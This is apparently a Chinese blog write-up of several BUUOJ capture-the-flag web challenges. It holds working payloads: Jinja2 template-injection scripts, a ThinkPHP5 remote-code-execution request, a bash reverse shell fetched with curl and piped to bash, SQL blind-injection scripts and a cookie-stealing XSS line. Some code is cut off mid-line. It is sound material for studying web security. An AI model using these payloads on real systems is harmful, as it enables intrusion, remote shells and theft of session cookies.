看了看杂项的题目,我发现web的脑洞就是个弟弟
参考文献
可以发现是存在这个类的
接下来用脚本跑索引
import requests
url ="http://67a8fe61-a3c7-42f4-85ae-f8e301bd7f30.node3.buuoj.cn/qaq"
temp={}
for i in range(1000):
url = "http://537306c0-5737-4a8b-8db5-8fd5c2362b4f.node3.buuoj.cn/qaq?name={{\"\".__class__.__bases__[0].__subclasses__()[%d]}}" % i
r = requests.get(url)
print (url)
print(r.text)
if "os._wrap_close" in r.text:
print(url)
print(r.text)
break
索引是117
接下来测试看看能不能命令执行
payload
{{"".__class__.__bases__[0].__subclasses__()[117].__init__.__globals__['popen']('ls /').read()}}
成功查看根目录下文件,可以发现flag文件在根目录下,查看即可
网上看到的第二个方法(其实就是写个python进去找索引,emmm,对于现在的我来说可能想不到这种注入,只能写脚本跑了)
{% for c in [].__class__.__base__.__subclasses__() %}
{%if%20c.__name__=='catch_warnings'%27'%}
{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}
{%endif%}
{% endfor %}
题目已提示是thinkphp5,自行去搜thinkphp5的漏洞,会找到对应版本,
参考文献
根据参考文献
可得出payload:
get请求
s=captcha
post请求
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls /
题目已提示是swp备份文件泄露
.index.php.swp 即可拿到备份源码
vim -r 打开 解析即可
give me a girl
珍爱网
";
if (!isset($_POST['girl_friend'])) {
die("where is P3rh4ps's girl friend ???");
} else {
$girl = $_POST['];
if (preg_match('/\>|\\\/', $girl)) {
die('just girl');
} else if (preg_match('/ls|phpinfo|cat|\%|\^|\~|base64|xxd|echo|\$/i', $girl)) {
echo " ";
} else {
//duangShell~~~~
exec($girl);
}
}
emmmmm,过滤了很多东西,当时做到这无从下手,只能看web了,新知识,反弹shell,在buu上因为内网的原因,这题需要用内网开linux靶机,弄了比较长的时间
参考文献
因为exec()不会回显(之前一直琢磨怎么让他回显。。。)反弹shell能够解决而且又没有过滤curl。
先在/var/www/html,创建一个shell.txt文件
输入的命令为:
bash -i >& /dev/tcp/ip/port 0>&1
ip 为内网主机的ip地址,port为端口,随便输(这里以端口为2333为例)
再传post值
girl_friend=curl http://内网ip/shell.txt|bash
再nc
nc -lvp 2333
学到一个新指令
find / -name flag
找到flag所在目录查看即可
union , select , = , ' , & , && , - , " , and
(当时看到分号被过滤了,顿时不想做了)
首先联合注入肯定是不行的,试了试报错注入,没有报错回显
考虑盲注(我构造的盲注语句好像不行,只能看web了)
新知识(正则表达式注入)
参考文献
由于过滤了双引号,新东西:
BINARY 运算符将紧随其后的 string 转换为 二进制字符串
好像用二分法跑比较麻烦,只能遍历了。。。。。
import requests
url ="http://b688f906-6a48-48c8-af28-74052e3b3905.node3.buuoj.cn"
temp={}
password =""
string = [ord(i) for i in 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789']
a = '0x5e'
for i in range(100):
for j in string:
str = hex(j).replace('0x', '')
# 查用户名
username = "or username regexp binary %s #" % (a + str)
print(username)
data = {"username": "\\", "password": username}
# 查密码
#payload = "or password regexp binary %s #" % (a + str)
#print(payload)
#data={"username" :"\\","password" : payload }
r = requests.post(url,data=data)
#print(r.text)
if "BJD needs to be stronger" in r.text:
password +=chr(j)
print(password)
a+=str
break
if "You konw ,P3rh4ps needs a girl friend" in r.text:
break
print(password)
根据上面的查询到用户名以及密码,直接登录即可
payload:
password=or 1 #&username=admin\
password=^ (ascii(substr((password),1,1))>1)#&username=admin\
可以直接异或,长知识了
接下来上脚本:(二分法跑)
import requests
import time
url = "http://aed2ff9b-a59f-4192-94ce-362ee82b9d30.node3.buuoj.cn/index.php"
temp = {}
password = ""
for i in range(1,1000):
time.sleep(0.06)
low = 32
high =128
mid = (low+high)//2
while(low
时间盲注,
csdn参考文献
刚开始以为是sql注入,后来抓包的时候看到了隐藏文件(访问源代码也可以)
有个 L0g1n.php的页面,进去看看,记得刷新一下页面
要修改时间,放到burp中,
起初以为是data,看到cookie里有个time的值,修改后
要从本地访问,有三种X-Forwarded-For,X-Forwarded-Host,CLIENT-IP,host
这里只能用CLIENT-IP或者X-Real-IP
剩下的不说了,就按照提示来就行了,改http头就行
参考文献
这里要说下Commodo 64这个浏览器,谷歌搜索
真正的名字是 Commodore 64
最后的http头如下
base64解密即可
这题脑洞太大了
自行参考
可以发现隐藏了test.php,进去之后是一段登录,但是这题并不是要你sql注入
我们返回主页看看
主页的英文翻译提示我们可以爆破密码
将test.php放到下面input
再check抓包
‘
可以发现cookie值多了个时间戳(base64解码即可得到)
将时间戳置空
弹出av号,去b站搜,评论区就有
’
用kali自带的dirb扫描目录,发现是.git泄露
使用githack得到源码
没有类的情况下,可以进行原生类反序列化
参考文献
可以使用Exception类进行构造
$a = new Exception("");
echo urlencode(serialize($a));
赵老板赛后应该改了一下源码,这段js,我看别的web试出来了。
payload:
window.location.href='IP'+document.cookie"));
echo urlencode($a);
?>
脑洞题
查看源代码,发现id的值不太对劲,进行十六进制转字符窜
Po.php进去之后啥都没有,看看图片,提到了放射性元素,Po刚好是化学元素
可能要我们遍历化学元素。。。。
(据说这道题是美国的一道原题改的,还改简单了)
接下来上我的垃圾脚本,
import requests
import time
list = ['H', 'He', 'Li', 'Be', 'B', 'C', 'N', 'O', 'F', 'Ne', 'Na', 'Mg', 'Al', 'Si', 'P', 'S', 'Cl', 'Ar','K', 'Ca', 'Sc', 'Ti', 'V', 'Cr', 'Mn', 'Fe', 'Co', 'Ni', 'Cu', 'Zn', 'Ga', 'Ge', 'As', 'Se', 'Br', 'Kr', 'Rb', 'Sr', 'Y', 'Zr', 'Nb', 'Mo', 'Te', 'Ru', 'Rh', 'Pd', 'Ag', 'Cd', 'In', 'Sn', 'Sb', 'Te', 'I', 'Xe', 'Cs', 'Ba', 'La', 'Ce', 'Pr', 'Nd', 'Pm', 'Sm', 'Eu', 'Gd', 'Tb', 'Dy', 'Ho', 'Er', 'Tm', 'Yb', 'Lu', 'Hf', 'Ta', 'W', 'Re', 'Os', 'Ir', 'Pt', 'Au', 'Hg', 'Tl', 'Pb', 'Bi', 'Po', 'At', 'Rn', 'Fr', 'Ra', 'Ac', 'Th', 'Pa', 'U', 'Np', 'Pu', 'Am', 'Cm', 'Bk', 'Cf', 'Es', 'Fm','Md', 'No', 'Lr', 'Rf', 'Db', 'Sg', 'Bh', 'Hs', 'Mt', 'Ds', 'Rg', 'Cn', 'Nh', 'Fl', 'Mc', 'Lv', 'Ts', 'Og', 'Uue']
t =""
for i in list:
url = "http://cfddf3d4-983f-4513-9a40-9f65cbcf45e4.node3.buuoj.cn/"
time.sleep(0.06)
i+=".php"
print(i)
url= url+i
print(url)
print('\n')
r = requests.get(url)
if r.status_code == 200:
t += r.text
print(t)
print(t)
url = "http://cfddf3d4-983f-4513-9a40-9f65cbcf45e4.node3.buuoj.cn/"
print(url+t)